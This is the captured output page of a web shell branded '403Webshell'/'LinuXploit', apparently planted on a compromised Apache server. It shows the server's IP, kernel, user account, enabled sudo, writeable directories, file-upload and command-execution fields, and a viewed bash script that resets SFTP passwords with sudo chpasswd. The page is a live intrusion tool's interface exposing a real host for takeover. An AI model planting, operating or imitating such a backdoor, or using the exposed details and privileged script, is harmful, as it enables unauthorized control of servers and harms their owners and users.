403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.10
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/bloxbycommands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/bloxbycommands/change_sftp_password.sh
#!/bin/bash
# Usage: ./update_sftp_password.sh username newpassword

set -euo pipefail

# --- Inputs ---
SFTP_USER="$1"
NEW_PASSWORD="$2"

# --- Check if user exists ---
if ! id "$SFTP_USER" &>/dev/null; then
    echo "Error: User '$SFTP_USER' does not exist."
    exit 1
fi

# --- Update SFTP password ---
echo "${SFTP_USER}:${NEW_PASSWORD}" | sudo chpasswd

echo "Password for '$SFTP_USER' updated successfully."

Youez - 2016 - github.com/yon3zu
LinuXploit